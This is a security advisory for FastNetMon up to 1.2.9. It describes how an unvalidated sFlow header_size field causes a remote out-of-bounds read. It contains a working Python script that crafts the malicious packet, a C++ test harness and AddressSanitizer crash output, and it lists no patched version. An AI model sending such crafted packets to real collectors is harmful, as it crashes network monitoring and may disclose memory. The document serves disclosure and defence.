Skip to content

sFlow header_size field trusted as parser capture length causes remote out-of-bounds read

High
pavel-odintsov published GHSA-852r-3wcv-pjx2 Jul 20, 2026

Package

fastnetmon (Package)

Affected versions

<= 1.2.9

Patched versions

None

Description

Summary

FastNetMon's sFlow collector copies an attacker-controlled header_size field straight from the wire and passes it, unvalidated, as the trusted "how many bytes may I read" bound to the nested Ethernet/IP/L4 packet parser. A single crafted sFlow v5 packet causes a large out-of-bounds read.

Details

process_sflow_flow_sample() (src/sflow_plugin/sflow_collector.cpp:384-401):

sflow_raw_protocol_header_t sflow_raw_protocol_header;
memcpy(&sflow_raw_protocol_header, payload_ptr, sizeof(sflow_raw_protocol_header_t));
...
auto result = parse_raw_packet_to_simple_packet_full(header_payload_pointer,
    sflow_raw_protocol_header.frame_length_before_sampling,
    sflow_raw_protocol_header.header_size,     // <-- fully attacker-controlled, unchecked
    packet, parser_options);

header_size (uint32_t, read directly off the wire) becomes captured_length inside parse_raw_packet_to_simple_packet_full() (simple_packet_parser_ng.cpp:35): end_pointer = pointer + captured_length. Every bounds check in that function is relative to this attacker-inflated end_pointer, not the real buffer - so a large header_size makes every internal check a no-op.

PoC

Step 1 - craft the malicious packet (craft_ghsa02.py):

#!/usr/bin/env python3
import struct

# sflow_packet_header_v4_t (28 bytes): sflow_version, agent_ip_version, agent_addr[4],
# sub_agent_id, datagram_sequence_number, device_uptime, datagram_samples_count=1
sflow_header = (
    struct.pack(">i", 5)          # sflow_version
    + struct.pack(">i", 1)        # agent_ip_version (1 = IPv4)
    + b"\x00\x00\x00\x00"         # agent address
    + struct.pack(">I", 1)        # sub_agent_id
    + struct.pack(">I", 1)        # datagram_sequence_number
    + struct.pack(">I", 0)        # device_uptime
    + struct.pack(">I", 1)        # datagram_samples_count = 1
)
assert len(sflow_header) == 28

# sflow_raw_protocol_header_t (16 bytes): header_protocol=1 (Ethernet), frame_length,
# number_of_bytes_removed, header_size -- THE BUG: set to 1 MiB, no validation exists
raw_header = struct.pack(">IIII", 1, 14, 0, 0x00100000)
assert len(raw_header) == 16

record = struct.pack(">ii", 1, len(raw_header)) + raw_header   # element_type=1 RAW_PACKET_HEADER

# sflow_sample_header_t (32 bytes), last field = number_of_flow_records=1
sample_header = struct.pack(">IIIIIIII", 1, 0, 1, 1, 0, 0, 0, 1)
sample_body = sample_header + record
sample_tlv = struct.pack(">ii", 1, len(sample_body)) + sample_body  # format=1 FLOW_SAMPLE

packet = sflow_header + sample_tlv
open("sflow_ghsa02_header_size_oob.bin", "wb").write(packet)
print(f"wrote sflow_ghsa02_header_size_oob.bin ({len(packet)} bytes)")

Step 2 - feed it to the real parser (harness_sflow.cpp, links directly against the unmodified sflow_plugin code):

#include "fastnetmon_configuration_scheme.hpp"
#include "sflow_plugin/sflow_collector.hpp"
#include <cstdio>
#include <cstring>
#include <fstream>
#include <vector>

log4cpp::Category& logger = log4cpp::Category::getRoot();
time_t current_inaccurate_time = 0;
fastnetmon_configuration_t fastnetmon_global_configuration;

static void dummy_process_packet(simple_packet_t& packet) {
    fprintf(stderr, "sink reached: src_ip=%u proto=%u\n", packet.src_ip, packet.protocol);
}

extern process_packet_pointer sflow_process_func_ptr;   // defined in sflow_collector.cpp

int main(int argc, char** argv) {
    if (argc < 2) { fprintf(stderr, "usage: %s <packet-file>\n", argv[0]); return 1; }
    sflow_process_func_ptr = dummy_process_packet;

    uint32_t client_ipv4_address = 128;
    std::ifstream f(argv[1], std::ios::binary);
    std::vector<uint8_t> buf((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());

    // Tightly-sized heap allocation -- ASan's redzone catches any read even 1 byte past
    // the true received length.
    uint8_t* heap_buf = new uint8_t[buf.size()];
    memcpy(heap_buf, buf.data(), buf.size());

    parse_sflow_v5_packet(heap_buf, (unsigned int)buf.size(), client_ipv4_address);   // real production entrypoint

    delete[] heap_buf;
    fprintf(stderr, "OK: no crash, processed %zu bytes\n", buf.size());
    return 0;
}

Build (against FastNetMon's own sflow_plugin/libsflow sources, compiled with -fsanitize=address,undefined) and run:

$ python3 craft_ghsa02.py
$ ./harness_sflow sflow_ghsa02_header_size_oob.bin

Result:

==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000000082
READ of size 6 at 0x608000000082 thread T0
    #6 parse_raw_packet_to_simple_packet_full(...) simple_packet_parser_ng.cpp:45
    #7 process_sflow_flow_sample(...) sflow_collector.cpp:399
    #8 parse_sflow_v5_packet(...) sflow_collector.cpp:593

0x608000000082 is located 6 bytes to the right of 92-byte region [...]

The crash occurs on the very first field access (Ethernet MAC copy) inside the nested parser - confirming the fabricated end_pointer bypasses the function's own bounds check.

Impact

Unauthenticated remote out-of-bounds read: one crafted UDP packet crashes the sFlow collector, with secondary risk of adjacent-memory disclosure into parsed flow fields that surface in FastNetMon's own stats/reporting.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

CVE ID

No known CVE

Weaknesses

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits